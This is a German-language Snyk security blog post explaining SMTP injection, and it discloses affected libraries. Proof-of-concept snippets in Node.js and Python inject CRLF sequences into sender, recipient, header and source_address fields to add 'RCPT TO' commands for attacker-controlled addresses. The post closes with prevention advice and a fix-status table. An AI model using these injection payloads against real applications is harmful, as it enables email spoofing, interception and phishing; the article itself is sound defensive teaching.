Skip to main content

SMTP-Injection vermeiden: Eine Whitebox-Einführung

Artikel von
Headshot of Sam Sanoop

Sam Sanoop

feature smtp injection

15. September 2022

0 Min. Lesezeit

SMTP-Injection-Schwachstellen werden von Entwicklern und Sicherheitsexperten häufig missverstanden und von statischen Analyseprodukten übersehen. In diesem Blog erfahren Sie, wie häufige SMTP-Injection-Schwachstellen in Bibliotheken und Anwendungen auftreten können. Außerdem erhalten Sie Tipps, wie Sie sie schnell finden und beheben.

Einführung in SMTP

Das Simple Mail Transfer Protocol (SMTP) ist ein E-Mail-Protokoll zum Senden und Empfangen von E-Mail-Nachrichten. E-Mail-Clients für Endbenutzer verwenden SMTP in der Regel, um Nachrichten zur Weiterleitung an einen Mailserver zu senden. SMTP-Server nutzen üblicherweise das Transmission Control Protocol über Port 25 (für Klartext) und Port 587 (für verschlüsselte Kommunikation).

Moderne Software und Anwendungen nutzen das SMTP-Protokoll häufig als Teil eines Nutzerablaufs und versenden E-Mails als Reaktion auf eine Nutzeraktion. Ein Beispiel sind Registrierungsbestätigungen: Dabei wird eine Nutzer-E-Mail-Adresse mit einem vordefinierten Begrüßungstext kombiniert und die E-Mail zur Zustellung an das E-Mail-Konto des Nutzers an einen SMTP-Server weitergeleitet.

Während einer SMTP-Sitzung zwischen einem SMTP-Client und einem Server kann ein Client mehrere SMTP-Befehle verwenden. Einige gängige Beispiele sind:

  • HELO/EHLO – Mit dem Befehl HELO wird die SMTP-Sitzung gestartet, z. B. HELO snyk.io.

  • MAIL FROM – Mit dem Befehl MAIL FROM wird eine Mailübertragung mit einer Absender-E-Mail-Adresse gestartet, z. B. MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)".

  • RCPT TO – Mit dem Befehl RCPT TO wird der Empfänger der E-Mail angegeben, z. B. RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)".

  • DATA – Mit dem Befehl DATA bittet der Client den Server um die Erlaubnis, die Maildaten zu übertragen. Der Antwortcode 354 erteilt diese Erlaubnis, und der Client beginnt, den Inhalt der E-Mail Zeile für Zeile zu übermitteln. Die DATA-Übertragung kann mit einem .-Zeichen beendet werden.

Nachfolgend sehen Sie ein Beispiel für eine SMTP-Kommunikation zwischen einem Client und einem Server.

Server: 220 smtp.snyk.test ESMTP Postfix
Client: HELO relay.snyk.test
Server: 250 Hello relay.snyk.test, I am glad to meet you
Client: MAIL FROM:<sams@snyk.test>
S: 250 Ok
C: RCPT TO:<jack@snyk.test>
S: 250 Ok
C: RCPT TO:<asaf@snyk.test>
S: 250 Ok
C: DATA
S: 354 End data with <CR><LF>.<CR><LF>
C: From: "Sam S" <sams@snyk.test>
C: To: "Jack H" <jack@snyk.test>
C: Cc: asaf@snyk.test
C: Date: Tue, 15 Jan 2008 16:02:43 -0500
C: Subject: Test message
C:
C: Hello Jack.
C: This is a test.
C: Your friend,
C: Sam
C: .
S: 250 Ok: queued as 12345
C: QUIT
S: 221 Bye
{The server closed the connection}

Was ist SMTP-Injection?

SMTP-Injection kann auftreten, wenn ein Angreifer beliebige SMTP-Befehle in eine SMTP-Kommunikation zwischen einem Client und einem Server einschleusen kann. Dies kann geschehen, indem zusätzliche CRLF-Zeichen in nutzergesteuerte Parameter eingefügt werden, die ohne Validierung oder ausreichende Bereinigung in einen SMTP-Befehl übernommen werden.

Solche Fälle treten häufig in Webanwendungen auf, die Bibliotheken zum Senden von SMTP-Befehlen verwenden oder über interne Implementierungen verfügen, die nutzergesteuerte Parameter nicht validieren.

Die Auswirkungen einer SMTP-Injection können je nach Kontext der betroffenen Anwendung unterschiedlich ausfallen. Zu den häufigen Folgen gehören:

  • Kopien von E-Mails an Dritte senden.

  • Den Inhalt der an den SMTP-Server gesendeten Nachricht verändern.

  • Die von SMTP-Injection betroffene Anwendung als Proxy für Phishing-Angriffe nutzen.

Um SMTP-Injection besser zu verstehen, sehen wir uns die folgenden Beispiele an.

Szenario 1: SMTP-Injection

Entwickler verwenden häufig Bibliotheken von Drittanbietern, um E-Mails an einen SMTP-Server zu senden. Diese bieten eine Alternative zu den SMTP-Funktionen der Standardbibliothek. Ein Beispiel für eine solche Bibliothek ist smtp-client. smtp-client bietet verschiedene Felder zum Festlegen von Hostname, Authentifizierung, Empfänger und Absender, die anschließend als Teil einer SMTP-Nachricht gesendet werden können.

var smtp = require('smtp-client');
let s = new smtp.SMTPClient({
  host: '127.0.0.1',
  port: 1225
});

(async function() {

  await s.connect();

  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
  await s.data('mail source'); // runs DATA command and streams email source
  await s.quit(); // runs QUIT command

})().catch(console.error);

Betrachten wir jedoch ein Szenario, in dem sich das Feld s.rcpt nicht festlegen lässt und nur s.mail vom Nutzer gesteuert wird. In solchen Fällen können CRLF-Zeichen verwendet werden, um einen neuen Befehl einzufügen, beispielsweise from@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io).

Beispiel:

await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});

Da keine Validierung stattgefunden hat, verarbeitet der SMTP-Client die CRLF-Zeichen und behandelt RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io) als neuen SMTP-Befehl. Das folgende Bild zeigt, wie ein SMTP-Server diesen Befehl akzeptiert.

SMTP-Debugprotokoll mit erfolgreicher Authentifizierung, Absender- und Empfängeradressen, angenommenen Antworten und dem Ende der Nachrichtendaten.

Neben smtp-client fand Snyk auch Schwachstellen in den Perl-Paketen Email MIME und Net::SMTP, die ebenfalls über mehrere Felder für SMTP-Injection anfällig sind. Dieses Sicherheitsproblem wurde den zuständigen Bibliotheksbetreuern gemeldet. In den neuesten Versionen dieser Pakete wurden Fehlerbehebungen implementiert.

Szenario 2: SMTP-Injection

In zahlreichen Sprachökosystemen gibt es auch Low-Level-Bibliotheken, mit denen Entwickler mit einem SMTP-Server kommunizieren können. Ein Beispiel dafür ist smtp-channel.

Bei smtp-channel können Entwickler Nutzer-E-Mails mit nutzerseitig bereitgestellten Eingaben erstellen und die Daten als Stream an smtp-channel übergeben. In solchen Fällen kann ein Angreifer zusätzliche Header hinzufügen und die bestehende SMTP-Sitzung nutzen, um eine E-Mail zu fälschen. Der folgende Code veranschaulicht dieses Problem:

const {SMTPChannel} = require('smtp-channel');

(async function() {
    let handler = console.log;

    let smtp = new SMTPChannel({
      host: 'localhost',
      port: 1225
    });

    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
    await smtp.connect({handler, timeout: 3000});
    await smtp.write(userstream, {handler});
    await smtp.write('QUIT\r\n', {handler});

  })().catch(console.error);

Szenario 3: SMTP-Injection

Auch Mail-Builder-Bibliotheken, die zusammen mit SMTP-Clients verwendet werden, können von SMTP-Injection betroffen sein. Ein Beispiel dafür findet sich im email Python package. Das email-Paket ist eine Bibliothek zur Verwaltung von E-Mail-Nachrichten. In diesem Fall ist SMTP-Injection möglich, wenn CRLF-Zeichen in das Feld mail.headerregistry.Address eingegeben werden.

import smtplib

from email.message import EmailMessage
from email.headerregistry import Address
from email.utils import make_msgid

# Create the base text message.
msg = EmailMessage()
msg['Subject'] = "Example Subject"
msg['From'] = Address("Sam", "Sanoop", "snyk.test")
msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
msg.set_content("""\
Salut!

Test Email 
--Sam
""")

# Send the message via SMTP server.
with smtplib.SMTP("127.0.0.1", 1225) as s:
    s.login("testuser", "testpass")
    s.set_debuglevel(2)
    s.send_message(msg)

Das folgende Bild zeigt, wie der vorhandene RCPT-Befehl mit dem Zeichen > geschlossen und mit \r\n ein neuer Header cC eingeschleust wird. Dieser wird, wie unten zu sehen, als neuer RCPT-Befehl gesendet.

Terminalprotokoll mit einer erfolgreichen SMTP-Test-E-Mail mit dem Betreff „Beispielbetreff“, Absender- und Empfängerangaben sowie der Bestätigung, dass die Nachricht in die Warteschlange aufgenommen wurde.

Diese Schwachstelle wurde vom Python-Sicherheitsteam in den Versionen 3.X behoben – klicken Sie hier, um die vollständigen Release Notes einzusehen. Die Versionen 2.X sind jedoch weiterhin anfällig.

Szenario 4: SMTP-Injection

Bei der Suche nach SMTP-Injection-Schwachstellen sollten Sie beachten, dass auch andere Felder wie Hostname und Quelladresse CRLF-Zeichen zulassen und dadurch SMTP-Injection ermöglichen können.

Im folgenden Beispiel werden die an aiosmtplib übergebenen Felder From und To bereinigt. Es ist jedoch weiterhin möglich, den Wert in source_address zu manipulieren und einen beliebigen SMTP-Befehl einzufügen. Den Proof of Concept (PoC), der dies veranschaulicht, sehen Sie unten:

import asyncio
from email.message import EmailMessage

from aiosmtplib import SMTP

async def say_hello():
    message = EmailMessage()
    message["From"] = "root@localhost"
    message["To"] = "somebody@example.com"
   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
    message.set_content("Sent via aiosmtplib")

    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
    async with smtp_client:
        await smtp_client.send_message(message)

event_loop = asyncio.get_event_loop()
event_loop.run_until_complete(say_hello())

Dadurch entsteht die folgende SMTP-Kommunikation.

Terminal mit einer SMTP-Kommunikation: Befehle, Serverantworten, ein abgelehnter MAIL-Befehl sowie ein erfolgreich ausgeführter Reset- und Quit-Befehl.

Weitere Fälle, die Sie berücksichtigen sollten

In bestimmten Situationen können Mail-Bibliotheken auch Möglichkeiten zur Codeausführung eröffnen. Ein Beispiel dafür ist die Funktion mail().Wenn Nutzereingaben in den fünften Parameter der Funktion mail() gelangen, kann ein Angreifer dies zur Codeausführung ausnutzen – klicken Sie hier, um ein Beispiel für dieses Problem anzusehen.

SMTP-Injection-Schwachstellen werden häufig mit Mail-Injection-Schwachstellen verwechselt. Bei einer Mail-Injection-Schwachstelle kann ein Angreifer eine E-Mail-Funktion missbrauchen, um mithilfe einer SMTP-Funktion beliebige E-Mails zu versenden und Phishing-Angriffe durchzuführen. Bei einer SMTP-Injection hingegen werden CRLF-Zeichen verwendet, um beliebige Header einzuschleusen, mit denen sich anschließend E-Mails fälschen und Phishing-Angriffe durchführen lassen.

SMTP-Injection verhindern

SMTP-Injection wird von Entwicklern und Open-Source-Bibliotheksbetreuern häufig übersehen. In den meisten Fällen sollten die Bibliotheksbetreuer diese Probleme beheben. Viele bekannte Bibliotheken – darunter JavaMail, PHPMailer und RubyMail – verhindern SMTP-Injection bereits, indem sie CRLF-Zeichen bereinigen. Bei Low-Level-Bibliotheken wie smtp-channel ist der Entwickler, der die Bibliothek nutzt, für die Validierung und Bereinigung der Nutzereingaben verantwortlich.

Um die Open-Source-Community sicherer zu machen, hat das Snyk-Sicherheitsteam auch SMTP-Injection-Schwachstellen in den folgenden Bibliotheken offengelegt.

Bibliothek

Sprache

Behobene Version

SMTPMail-drogon

C

In Master behoben

Email::MIME

Perl

Keine Fehlerbehebung verfügbar

Net::SMTP

Perl

Keine Fehlerbehebung verfügbar

aiosmtplib

Python

In 1.1.7 behoben

smtpclient

NodeJS

Keine Fehlerbehebung verfügbar

Starten Sie mit Capture-the-Flag

Erfahren Sie in unserem virtuellen On-Demand-Workshop für Einsteiger, wie Sie Capture-the-Flag-Challenges lösen.